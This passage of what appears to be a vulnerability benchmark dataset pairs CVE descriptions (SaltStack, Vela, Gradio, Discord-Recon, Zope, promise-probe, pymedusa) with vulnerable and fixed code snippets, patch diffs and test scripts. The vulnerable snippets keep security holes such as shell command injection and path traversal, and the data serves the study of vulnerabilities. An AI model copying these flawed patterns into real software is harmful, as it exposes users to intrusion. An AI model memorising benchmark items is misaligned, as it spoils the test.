main daemon shouldn't know\n            # anything about our key auth\n            if payload['enc'] == 'clear' and payload.get('load', {}).get('cmd') == '_auth':\n                yield stream.write(salt.transport.frame.frame_msg(\n                    self._auth(payload['load']), header=header))\n                raise tornado.gen.Return()\n\n            # TODO: test\n            try:\n                ret, req_opts = yield self.payload_handler(payload)\n            except Exception as e:\n                # always attempt to return an error to the minion\n                stream.write('Some exception handling minion payload')\n                log.error('Some exception handling a payload from minion', exc_info=True)\n                stream.close()\n                raise tornado.gen.Return()\n\n            req_fun = req_opts.get('fun', 'send')\n            if req_fun == 'send_clear':\n                stream.write(salt.transport.frame.frame_msg(ret, header=header))\n            elif req_fun == 'send':\n                stream.write(salt.transport.frame.frame_msg(self.crypticle.dumps(ret), header=header))\n            elif req_fun == 'send_private':\n                stream.write(salt.transport.frame.frame_msg(self._encrypt_private(ret,\n                                                             req_opts['key'],\n                                                             req_opts['tgt'],\n                                                             ), header=header))\n            else:\n                log.error('Unknown req_fun {0}'.format(req_fun))\n                # always attempt to return an error to the minion\n                stream.write('Server-side exception handling payload')\n                stream.close()\n        except tornado.gen.Return:\n            raise\n        except tornado.iostream.StreamClosedError:\n            # Stream was closed. This could happen if the remote side\n            # closed the connection on its end (eg in a timeout or shutdown\n            # situation).\n            log.error('Connection was unexpectedly closed', exc_info=True)\n        except Exception as exc:  # pylint: disable=broad-except\n            # Absorb any other exceptions\n            log.error('Unexpected exception occurred: {0}'.format(exc), exc_info=True)\n\n        raise tornado.gen.Return()"}, {"id": "fix_py_327_3", "commit": "5f8b5e1a0f23fe0f2be5b3c3e04199b57a53db5b", "file_path": "salt/transport/zeromq.py", "start_line": 567, "end_line": 641, "snippet": "    def handle_message(self, stream, payload):\n        '''\n        Handle incoming messages from underylying TCP streams\n\n        :stream ZMQStream stream: A ZeroMQ stream.\n        See http://zeromq.github.io/pyzmq/api/generated/zmq.eventloop.zmqstream.html\n\n        :param dict payload: A payload to process\n        '''\n        try:\n            payload = self.serial.loads(payload[0])\n            payload = self._decode_payload(payload)\n        except Exception as exc:\n            exc_type = type(exc).__name__\n            if exc_type == 'AuthenticationError':\n                log.debug(\n                    'Minion failed to auth to master. Since the payload is '\n                    'encrypted, it is not known which minion failed to '\n                    'authenticate. It is likely that this is a transient '\n                    'failure due to the master rotating its public key.'\n                )\n            else:\n                log.error('Bad load from minion: %s: %s', exc_type, exc)\n            stream.send(self.serial.dumps('bad load'))\n            raise tornado.gen.Return()\n\n        # TODO helper functions to normalize payload?\n        if not isinstance(payload, dict) or not isinstance(payload.get('load'), dict):\n            log.error('payload and load must be a dict. Payload was: {0} and load was {1}'.format(payload, payload.get('load')))\n            stream.send(self.serial.dumps('payload and load must be a dict'))\n            raise tornado.gen.Return()\n\n        try:\n            id_ = payload['load'].get('id', '')\n            if '\\0' in id_:\n                log.error('Payload contains an id with a null byte: %s', payload)\n                stream.send(self.serial.dumps('bad load: id contains a null byte'))\n                raise tornado.gen.Return()\n        except TypeError:\n            log.error('Payload contains non-string id: %s', payload)\n            stream.send(self.serial.dumps('bad load: id {0} is not a string'.format(id_)))\n            raise tornado.gen.Return()\n\n        # intercept the \"_auth\" commands, since the main daemon shouldn't know\n        # anything about our key auth\n        if payload['enc'] == 'clear' and payload.get('load', {}).get('cmd') == '_auth':\n            stream.send(self.serial.dumps(self._auth(payload['load'])))\n            raise tornado.gen.Return()\n\n        # TODO: test\n        try:\n            # Take the payload_handler function that was registered when we created the channel\n            # and call it, returning control to the caller until it completes\n            ret, req_opts = yield self.payload_handler(payload)\n        except Exception as e:\n            # always attempt to return an error to the minion\n            stream.send('Some exception handling minion payload')\n            log.error('Some exception handling a payload from minion', exc_info=True)\n            raise tornado.gen.Return()\n\n        req_fun = req_opts.get('fun', 'send')\n        if req_fun == 'send_clear':\n            stream.send(self.serial.dumps(ret))\n        elif req_fun == 'send':\n            stream.send(self.serial.dumps(self.crypticle.dumps(ret)))\n        elif req_fun == 'send_private':\n            stream.send(self.serial.dumps(self._encrypt_private(ret,\n                                                                req_opts['key'],\n                                                                req_opts['tgt'],\n                                                                )))\n        else:\n            log.error('Unknown req_fun {0}'.format(req_fun))\n            # always attempt to return an error to the minion\n            stream.send('Server-side exception handling payload')\n        raise tornado.gen.Return()"}], "vul_patch": "--- a/salt/crypt.py\n+++ b/salt/crypt.py\n@@ -50,6 +50,9 @@\n                 raise tornado.gen.Return('retry')\n             else:\n                 raise SaltClientError('Attempt to authenticate with the salt master failed with timeout error')\n+        if not isinstance(payload, dict):\n+            log.error('Sign-in attempt failed: %s', payload)\n+            raise tornado.gen.Return(False)\n         if 'load' in payload:\n             if 'ret' in payload['load']:\n                 if not payload['load']['ret']:\n\n--- a/salt/transport/tcp.py\n+++ b/salt/transport/tcp.py\n@@ -13,6 +13,17 @@\n             if not isinstance(payload, dict) or not isinstance(payload.get('load'), dict):\n                 yield stream.write(salt.transport.frame.frame_msg(\n                     'payload and load must be a dict', header=header))\n+                raise tornado.gen.Return()\n+\n+            try:\n+                id_ = payload['load'].get('id', '')\n+                if '\\0' in id_:\n+                    log.error('Payload contains an id with a null byte: %s', payload)\n+                    stream.send(self.serial.dumps('bad load: id contains a null byte'))\n+                    raise tornado.gen.Return()\n+            except TypeError:\n+                log.error('Payload contains non-string id: %s', payload)\n+                stream.send(self.serial.dumps('bad load: id {0} is not a string'.format(id_)))\n                 raise tornado.gen.Return()\n \n             # intercept the \"_auth\" commands, since the main daemon shouldn't know\n\n--- a/salt/transport/zeromq.py\n+++ b/salt/transport/zeromq.py\n@@ -28,6 +28,17 @@\n         if not isinstance(payload, dict) or not isinstance(payload.get('load'), dict):\n             log.error('payload and load must be a dict. Payload was: {0} and load was {1}'.format(payload, payload.get('load')))\n             stream.send(self.serial.dumps('payload and load must be a dict'))\n+            raise tornado.gen.Return()\n+\n+        try:\n+            id_ = payload['load'].get('id', '')\n+            if '\\0' in id_:\n+                log.error('Payload contains an id with a null byte: %s', payload)\n+                stream.send(self.serial.dumps('bad load: id contains a null byte'))\n+                raise tornado.gen.Return()\n+        except TypeError:\n+            log.error('Payload contains non-string id: %s', payload)\n+            stream.send(self.serial.dumps('bad load: id {0} is not a string'.format(id_)))\n             raise tornado.gen.Return()\n \n         # intercept the \"_auth\" commands, since the main daemon shouldn't know\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-21432", "cve_description": "Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/go-vela/server", "patch_url": ["https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46"], "programing_language": "Go", "vul_func": [{"id": "vul_go_3_2", "commit": "5a3ffe3", "file_path": "source/github/authentication.go", "start_line": 105, "end_line": 122, "snippet": "func (c *client) AuthenticateToken(r *http.Request) (*library.User, error) {\n\tlogrus.Trace(\"Authenticating user via token\")\n\n\ttoken := r.Header.Get(\"Token\")\n\tif len(token) == 0 {\n\t\treturn nil, errors.New(\"no token provided\")\n\t}\n\n\tu, err := c.Authorize(token)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &library.User{\n\t\tName:  &u,\n\t\tToken: &token,\n\t}, nil\n}"}], "fix_func": [{"id": "fix_go_3_1", "commit": "cb43529", "file_path": "source/github/authentication.go", "start_line": 7, "end_line": 20, "snippet": "import (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\n\t\"github.com/go-vela/server/random\"\n\t\"github.com/go-vela/types/library\"\n\t\"github.com/google/go-github/v33/github\"\n\n\t\"github.com/sirupsen/logrus\"\n)"}, {"id": "fix_go_3_2", "commit": "cb43529", "file_path": "source/github/authentication.go", "start_line": 107, "end_line": 167, "snippet": "func (c *client) AuthenticateToken(r *http.Request) (*library.User, error) {\n\tlogrus.Trace(\"Authenticating user via token\")\n\n\ttoken := r.Header.Get(\"Token\")\n\tif len(token) == 0 {\n\t\treturn nil, errors.New(\"no token provided\")\n\t}\n\n\t// create http client to connect to GitHub\n\t//\n\t// nolint: lll // ignore long line length due to variable names\n\ttransport := github.BasicAuthTransport{Username: c.OConfig.ClientID, Password: c.OConfig.ClientSecret}\n\t// create client to connect to GitHub API\n\tclient := github.NewClient(transport.Client())\n\t// check if github url was set\n\tif c.URL != \"\" && c.URL != \"https://github.com\" {\n\t\t// check if address has trailing slash\n\t\tif !strings.HasSuffix(c.URL, \"/\") {\n\t\t\t// add trailing slash\n\t\t\tc.URL = c.URL + \"/api/v3/\"\n\t\t}\n\t\t// parse the provided url into url type\n\t\tenterpriseURL, err := url.Parse(c.URL)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t// set the base and upload url\n\t\tclient.BaseURL = enterpriseURL\n\t\tclient.UploadURL = enterpriseURL\n\t}\n\t// check if the provided token was created by Vela\n\t_, resp, err := client.Authorizations.Check(context.Background(), c.OConfig.ClientID, token)\n\t// check if the error is of type ErrorResponse\n\tif gerr, ok := err.(*github.ErrorResponse); ok {\n\t\t// check the status code\n\t\tswitch gerr.Response.StatusCode {\n\t\t// 404 is expected when non vela token is used\n\t\tcase http.StatusNotFound:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn nil, err\n\t\t}\n\t} else if err != nil {\n\t\treturn nil, err\n\t}\n\n\t// return error if the token was created by Vela\n\tif resp.StatusCode != http.StatusNotFound {\n\t\treturn nil, errors.New(\"token must not be created by vela\")\n\t}\n\n\tu, err := c.Authorize(token)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &library.User{\n\t\tName:  &u,\n\t\tToken: &token,\n\t}, nil\n}"}], "vul_patch": "--- a/source/github/authentication.go\n+++ b/source/github/authentication.go\n@@ -4,6 +4,49 @@\n \ttoken := r.Header.Get(\"Token\")\n \tif len(token) == 0 {\n \t\treturn nil, errors.New(\"no token provided\")\n+\t}\n+\n+\t// create http client to connect to GitHub\n+\t//\n+\t// nolint: lll // ignore long line length due to variable names\n+\ttransport := github.BasicAuthTransport{Username: c.OConfig.ClientID, Password: c.OConfig.ClientSecret}\n+\t// create client to connect to GitHub API\n+\tclient := github.NewClient(transport.Client())\n+\t// check if github url was set\n+\tif c.URL != \"\" && c.URL != \"https://github.com\" {\n+\t\t// check if address has trailing slash\n+\t\tif !strings.HasSuffix(c.URL, \"/\") {\n+\t\t\t// add trailing slash\n+\t\t\tc.URL = c.URL + \"/api/v3/\"\n+\t\t}\n+\t\t// parse the provided url into url type\n+\t\tenterpriseURL, err := url.Parse(c.URL)\n+\t\tif err != nil {\n+\t\t\treturn nil, err\n+\t\t}\n+\t\t// set the base and upload url\n+\t\tclient.BaseURL = enterpriseURL\n+\t\tclient.UploadURL = enterpriseURL\n+\t}\n+\t// check if the provided token was created by Vela\n+\t_, resp, err := client.Authorizations.Check(context.Background(), c.OConfig.ClientID, token)\n+\t// check if the error is of type ErrorResponse\n+\tif gerr, ok := err.(*github.ErrorResponse); ok {\n+\t\t// check the status code\n+\t\tswitch gerr.Response.StatusCode {\n+\t\t// 404 is expected when non vela token is used\n+\t\tcase http.StatusNotFound:\n+\t\t\tbreak\n+\t\tdefault:\n+\t\t\treturn nil, err\n+\t\t}\n+\t} else if err != nil {\n+\t\treturn nil, err\n+\t}\n+\n+\t// return error if the token was created by Vela\n+\tif resp.StatusCode != http.StatusNotFound {\n+\t\treturn nil, errors.New(\"token must not be created by vela\")\n \t}\n \n \tu, err := c.Authorize(token)\n\n--- /dev/null\n+++ b/source/github/authentication.go\n@@ -0,0 +1,14 @@\n+import (\n+\t\"context\"\n+\t\"errors\"\n+\t\"fmt\"\n+\t\"net/http\"\n+\t\"net/url\"\n+\t\"strings\"\n+\n+\t\"github.com/go-vela/server/random\"\n+\t\"github.com/go-vela/types/library\"\n+\t\"github.com/google/go-github/v33/github\"\n+\n+\t\"github.com/sirupsen/logrus\"\n+)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-21432:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/server\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestGithub_Authenticate_Vela_Token$ github.com/go-vela/server/source/github\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-21432:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/server\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestGithub_Authorize_NotFound|TestGithub_Authenticate|TestGithub_Authenticate_NoCode|TestGithub_LoginWCreds|TestGithub_Authenticate_NoState|TestGithub_Authorize|TestGithub_Authenticate_Invalid_Token|TestGithub_Login|TestGithub_Authenticate_NotFound|TestGithub_Authenticate_BadToken|TestGithub_Authenticate_Token)$' github.com/go-vela/server/source/github"}
{"cve_id": "CVE-2021-43831", "cve_description": "Gradio is an open source framework for building interactive machine learning models and demos. In versions prior to 2.5.0 there is a vulnerability that affects anyone who creates and publicly shares Gradio interfaces. File paths are not restricted and users who receive a Gradio link can access any files on the host computer if they know the file names or file paths. This is limited only by the host operating system. Paths are opened in read only mode. The problem has been patched in gradio 2.5.0.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/gradio-app/gradio", "patch_url": ["https://github.com/gradio-app/gradio/commit/41bd3645bdb616e1248b2167ca83636a2653f781"], "programing_language": "Python", "vul_func": [{"id": "vul_py_127_1", "commit": "0b2c490", "file_path": "gradio/networking.py", "start_line": 379, "end_line": 388, "snippet": "def file(path):\n    path = secure_filename(path)\n    if app.interface.encrypt and isinstance(app.interface.examples, str) and path.startswith(app.interface.examples):\n        with open(os.path.join(app.cwd, path), \"rb\") as encrypted_file:\n            encrypted_data = encrypted_file.read()\n        file_data = encryptor.decrypt(\n            app.interface.encryption_key, encrypted_data)\n        return send_file(io.BytesIO(file_data), attachment_filename=os.path.basename(path))\n    else:\n        return send_file(os.path.join(app.cwd, path))"}], "fix_func": [{"id": "fix_py_127_1", "commit": "41bd364", "file_path": "gradio/networking.py", "start_line": 379, "end_line": 387, "snippet": "def file(path):\n    if app.interface.encrypt and isinstance(app.interface.examples, str) and path.startswith(app.interface.examples):\n        with open(safe_join(app.cwd, path), \"rb\") as encrypted_file:\n            encrypted_data = encrypted_file.read()\n        file_data = encryptor.decrypt(\n            app.interface.encryption_key, encrypted_data)\n        return send_file(io.BytesIO(file_data), attachment_filename=os.path.basename(path))\n    else:\n        return send_file(safe_join(app.cwd, path))"}], "vul_patch": "--- a/gradio/networking.py\n+++ b/gradio/networking.py\n@@ -1,10 +1,9 @@\n def file(path):\n-    path = secure_filename(path)\n     if app.interface.encrypt and isinstance(app.interface.examples, str) and path.startswith(app.interface.examples):\n-        with open(os.path.join(app.cwd, path), \"rb\") as encrypted_file:\n+        with open(safe_join(app.cwd, path), \"rb\") as encrypted_file:\n             encrypted_data = encrypted_file.read()\n         file_data = encryptor.decrypt(\n             app.interface.encryption_key, encrypted_data)\n         return send_file(io.BytesIO(file_data), attachment_filename=os.path.basename(path))\n     else:\n-        return send_file(os.path.join(app.cwd, path))\n+        return send_file(safe_join(app.cwd, path))\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-21663", "cve_description": "Discord-Recon is a Discord bot created to automate bug bounty recon, automated scans and information gathering via a discord server. Discord-Recon is vulnerable to remote code execution. An attacker is able to execute shell commands in the server without having an admin role. This vulnerability has been fixed in version 0.0.8.\n", "cwe_info": {"CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}}, "repo": "https://github.com/DEMON1A/Discord-Recon", "patch_url": ["https://github.com/DEMON1A/Discord-Recon/commit/f9cb0f67177f5e2f1022295ca8e641e47837ec7a"], "programing_language": "Python", "vul_func": [{"id": "vul_py_212_1", "commit": "741dc39", "file_path": "app.py", "start_line": 159, "end_line": 175, "snippet": "async def prips(ctx, *, argument):\n    Output = subprocess.Popen(f\"prips {argument}\", stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)\n    Output = Output.communicate()[0].decode('UTF-8')\n\n    if len(Output) > 2000:\n        RandomStr = utilities.generate_random_string()\n\n        with open(f'messages/{RandomStr}' , 'w') as Message:\n            Message.write(Output)\n            Message.close()\n\n            await ctx.send(\"Prips Results: \", file=discord.File(f\"messages/{RandomStr}\"))\n            await ctx.send(f\"\\n**- {ctx.message.author}**\")\n    else:\n        await ctx.send(\"**Prips Results:**\")\n        await ctx.send(f\"```{Output}```\")\n        await ctx.send(f\"\\n**- {ctx.message.author}**\")"}], "fix_func": [{"id": "fix_py_212_1", "commit": "f9cb0f6", "file_path": "app.py", "start_line": 159, "end_line": 176, "snippet": "async def prips(ctx, *, argument):\n    argument = CommandInjection.sanitizeInput(argument)\n    Output = subprocess.Popen(f\"prips {argument}\", stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)\n    Output = Output.communicate()[0].decode('UTF-8')\n\n    if len(Output) > 2000:\n        RandomStr = utilities.generate_random_string()\n\n        with open(f'messages/{RandomStr}' , 'w') as Message:\n            Message.write(Output)\n            Message.close()\n\n            await ctx.send(f\"Prips output for **{argument}**: \", file=discord.File(f\"messages/{RandomStr}\"))\n            await ctx.send(f\"\\nRequested by **{ctx.message.author}**\")\n    else:\n        await ctx.send(f\"Prips output for **{argument}:**\")\n        await ctx.send(f\"```{Output}```\")\n        await ctx.send(f\"\\nRequested by **{ctx.message.author}**\")"}], "vul_patch": "--- a/app.py\n+++ b/app.py\n@@ -1,4 +1,5 @@\n async def prips(ctx, *, argument):\n+    argument = CommandInjection.sanitizeInput(argument)\n     Output = subprocess.Popen(f\"prips {argument}\", stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)\n     Output = Output.communicate()[0].decode('UTF-8')\n \n@@ -9,9 +10,9 @@\n             Message.write(Output)\n             Message.close()\n \n-            await ctx.send(\"Prips Results: \", file=discord.File(f\"messages/{RandomStr}\"))\n-            await ctx.send(f\"\\n**- {ctx.message.author}**\")\n+            await ctx.send(f\"Prips output for **{argument}**: \", file=discord.File(f\"messages/{RandomStr}\"))\n+            await ctx.send(f\"\\nRequested by **{ctx.message.author}**\")\n     else:\n-        await ctx.send(\"**Prips Results:**\")\n+        await ctx.send(f\"Prips output for **{argument}:**\")\n         await ctx.send(f\"```{Output}```\")\n-        await ctx.send(f\"\\n**- {ctx.message.author}**\")\n+        await ctx.send(f\"\\nRequested by **{ctx.message.author}**\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-21336", "cve_description": "Products.PluggableAuthService is a pluggable Zope authentication and authorization framework. In Products.PluggableAuthService before version 2.6.0 there is an information disclosure vulnerability - everyone can list the names of roles defined in the ZODB Role Manager plugin if the site uses this plugin. The problem has been fixed in version 2.6.0. Depending on how you have installed Products.PluggableAuthService, you should change the buildout version pin to 2.6.0 and re-run the buildout, or if you used pip simply do `pip install \"Products.PluggableAuthService>=2.6.0\"`.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/zopefoundation/Products.PluggableAuthService", "patch_url": ["https://github.com/zopefoundation/Products.PluggableAuthService/commit/2dad81128250cb2e5d950cddc9d3c0314a80b4bb"], "programing_language": "Python", "vul_func": [{"id": "vul_py_91_1", "commit": "7eead06", "file_path": "src/Products/PluggableAuthService/plugins/ZODBRoleManager.py", "start_line": "115", "end_line": "153", "snippet": "    def enumerateRoles(self, id=None, exact_match=False, sort_by=None,\n                       max_results=None, **kw):\n        \"\"\" See IRoleEnumerationPlugin.\n        \"\"\"\n        role_info = []\n        role_ids = []\n        plugin_id = self.getId()\n\n        if isinstance(id, str):\n            id = [id]\n\n        if exact_match and (id):\n            role_ids.extend(id)\n\n        if role_ids:\n            role_filter = None\n\n        else:   # Searching\n            role_ids = self.listRoleIds()\n            role_filter = _ZODBRoleFilter(id, **kw)\n\n        for role_id in role_ids:\n\n            if self._roles.get(role_id):\n                e_url = '%s/manage_roles' % self.getId()\n                p_qs = 'role_id=%s' % role_id\n                m_qs = 'role_id=%s&assign=1' % role_id\n\n                info = {}\n                info.update(self._roles[role_id])\n\n                info['pluginid'] = plugin_id\n                info['properties_url'] = '%s?%s' % (e_url, p_qs)\n                info['members_url'] = '%s?%s' % (e_url, m_qs)\n\n                if not role_filter or role_filter(info):\n                    role_info.append(info)\n\n        return tuple(role_info)"}], "fix_func": [{"id": "fix_py_91_1", "commit": "2dad811", "file_path": "src/Products/PluggableAuthService/plugins/ZODBRoleManager.py", "start_line": "115", "end_line": "154", "snippet": "    @security.private\n    def enumerateRoles(self, id=None, exact_match=False, sort_by=None,\n                       max_results=None, **kw):\n        \"\"\" See IRoleEnumerationPlugin.\n        \"\"\"\n        role_info = []\n        role_ids = []\n        plugin_id = self.getId()\n\n        if isinstance(id, str):\n            id = [id]\n\n        if exact_match and (id):\n            role_ids.extend(id)\n\n        if role_ids:\n            role_filter = None\n\n        else:   # Searching\n            role_ids = self.listRoleIds()\n            role_filter = _ZODBRoleFilter(id, **kw)\n\n        for role_id in role_ids:\n\n            if self._roles.get(role_id):\n                e_url = '%s/manage_roles' % self.getId()\n                p_qs = 'role_id=%s' % role_id\n                m_qs = 'role_id=%s&assign=1' % role_id\n\n                info = {}\n                info.update(self._roles[role_id])\n\n                info['pluginid'] = plugin_id\n                info['properties_url'] = '%s?%s' % (e_url, p_qs)\n                info['members_url'] = '%s?%s' % (e_url, m_qs)\n\n                if not role_filter or role_filter(info):\n                    role_info.append(info)\n\n        return tuple(role_info)"}], "vul_patch": "--- a/src/Products/PluggableAuthService/plugins/ZODBRoleManager.py\n+++ b/src/Products/PluggableAuthService/plugins/ZODBRoleManager.py\n@@ -1,3 +1,4 @@\n+    @security.private\n     def enumerateRoles(self, id=None, exact_match=False, sort_by=None,\n                        max_results=None, **kw):\n         \"\"\" See IRoleEnumerationPlugin.\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-10791", "cve_description": "promise-probe before 0.10.0 allows remote attackers to perform a command injection attack. The file, outputFile and options functions can be controlled by users without any sanitization.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/dottgonzo/node-promise-probe", "patch_url": ["https://github.com/dottgonzo/node-promise-probe/commit/0d9affb67fc1ad985903536d35372cf55efe5a45"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_128_1", "commit": "c1a9367", "file_path": "index.js", "start_line": 35, "end_line": 51, "snippet": "function createMuteOgg(outputFile, options) {\n    return new Promise((resolve, reject) => {\n        const ch = options.numOfChannels === 1 ? 'mono' : 'stereo';\n        child_process_1.exec('ffmpeg -f lavfi -i anullsrc=r=' +\n            options.sampleRate +\n            ':cl=' +\n            ch +\n            ' -t ' +\n            options.seconds +\n            ' -c:a libvorbis ' +\n            outputFile, (error, stdout, stderr) => {\n            if (error)\n                return reject(error);\n            resolve(true);\n        });\n    });\n}"}], "fix_func": [{"id": "fix_js_128_1", "commit": "0d9affb", "file_path": "index.js", "start_line": 35, "end_line": 57, "snippet": "function createMuteOgg(outputFile, options) {\n    return new Promise((resolve, reject) => {\n        if (!outputFile || !options || !options.seconds || !options.sampleRate || !options.numOfChannels)\n            return reject(new Error('malformed props to createMuteOgg'));\n        if (!Number.isInteger(options.seconds) ||\n            !Number.isInteger(options.sampleRate) ||\n            !Number.isInteger(options.numOfChannels))\n            return reject(new Error('malformed numerico options prop for createMuteOgg'));\n        const ch = options.numOfChannels === 1 ? 'mono' : 'stereo';\n        child_process_1.exec('ffmpeg -f lavfi -i anullsrc=r=' +\n            options.sampleRate +\n            ':cl=' +\n            ch +\n            ' -t ' +\n            options.seconds +\n            ' -c:a libvorbis ' +\n            outputFile, (error, stdout, stderr) => {\n            if (error)\n                return reject(error);\n            resolve(true);\n        });\n    });\n}"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,5 +1,11 @@\n function createMuteOgg(outputFile, options) {\n     return new Promise((resolve, reject) => {\n+        if (!outputFile || !options || !options.seconds || !options.sampleRate || !options.numOfChannels)\n+            return reject(new Error('malformed props to createMuteOgg'));\n+        if (!Number.isInteger(options.seconds) ||\n+            !Number.isInteger(options.sampleRate) ||\n+            !Number.isInteger(options.numOfChannels))\n+            return reject(new Error('malformed numerico options prop for createMuteOgg'));\n         const ch = options.numOfChannels === 1 ? 'mono' : 'stereo';\n         child_process_1.exec('ffmpeg -f lavfi -i anullsrc=r=' +\n             options.sampleRate +\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-28627", "cve_description": "pymedusa is an automatic video library manager for TV Shows. In versions prior 1.0.12 an attacker with access to the web interface can update the git executable path in /config/general/ > advanced settings with arbitrary OS commands. An attacker may exploit this vulnerability to take execute arbitrary OS commands as the user running the pymedusa program. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/pymedusa/Medusa", "patch_url": ["https://github.com/pymedusa/Medusa/commit/66d4be8f0872bd5ddcdc5c5a58cb014d22834a45"], "programing_language": "Python", "vul_func": [{"id": "vul_py_241_1", "commit": "d44ae91", "file_path": "medusa/updater/github_updater.py", "start_line": 73, "end_line": 112, "snippet": "    def _find_working_git(self):\n        test_cmd = 'version'\n\n        if app.GIT_PATH:\n            main_git = '\"' + app.GIT_PATH + '\"'\n        else:\n            main_git = 'git'\n\n        log.debug(u'Checking if we can use git commands: {0} {1}', main_git, test_cmd)\n        _, _, exit_status = self._run_git(main_git, test_cmd)\n\n        if exit_status == 0:\n            log.debug(u'Using: {0}', main_git)\n            return main_git\n        else:\n            log.debug(u'Not using: {0}', main_git)\n\n        # trying alternatives\n        alternative_git = []\n\n        # osx people who start sr from launchd have a broken path, so try a hail-mary attempt for them\n        if platform.system().lower() == 'darwin':\n            alternative_git.append('/usr/local/git/bin/git')\n\n        if platform.system().lower() == 'windows':\n            if main_git != main_git.lower():\n                alternative_git.append(main_git.lower())\n\n        if alternative_git:\n            log.debug(u'Trying known alternative git locations')\n\n            for cur_git in alternative_git:\n                log.debug(u'Checking if we can use git commands: {0} {1}', cur_git, test_cmd)\n                _, _, exit_status = self._run_git(cur_git, test_cmd)\n\n                if exit_status == 0:\n                    log.debug(u'Using: {0}', cur_git)\n                    return cur_git\n                else:\n                    log.debug(u'Not using: {0}', cur_git)"}, {"id": "vul_py_241_2", "commit": "d44ae91", "file_path": "medusa/updater/github_updater.py", "start_line": 114, "end_line": 180, "snippet": "    def _run_git(self, git_path, args):\n        output = err = exit_status = None\n\n        if not git_path:\n            git_path = self._find_working_git()\n            if git_path:\n                self._git_path = git_path\n            else:\n                # Warn user only if he has version check enabled\n                if app.VERSION_NOTIFY:\n                    log.warning(u\"No git specified, can't use git commands\")\n                    app.NEWEST_VERSION_STRING = ERROR_MESSAGE\n                exit_status = 1\n                return output, err, exit_status\n\n        # If we have a valid git remove the git warning\n        # String will be updated as soon we check github\n        app.NEWEST_VERSION_STRING = None\n        cmd = git_path + ' ' + args\n\n        try:\n            log.debug(u'Executing {cmd} with your shell in {dir}', {'cmd': cmd, 'dir': app.PROG_DIR})\n            p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n                                 shell=True, cwd=app.PROG_DIR)\n            output, err = p.communicate()\n            exit_status = p.returncode\n\n            # Convert bytes to string in python3\n            if isinstance(output, (bytes, bytearray)):\n                output = output.decode('utf-8')\n\n            if output:\n                output = output.strip()\n\n        except OSError:\n            log.info(u\"Command {cmd} didn't work\", {'cmd': cmd})\n            exit_status = 1\n\n        if exit_status == 0:\n            log.debug(u'{cmd} : returned successful', {'cmd': cmd})\n\n        elif exit_status == 1:\n            if output:\n                if 'stash' in output:\n                    log.warning(u\"Enable 'git reset' in settings or stash your 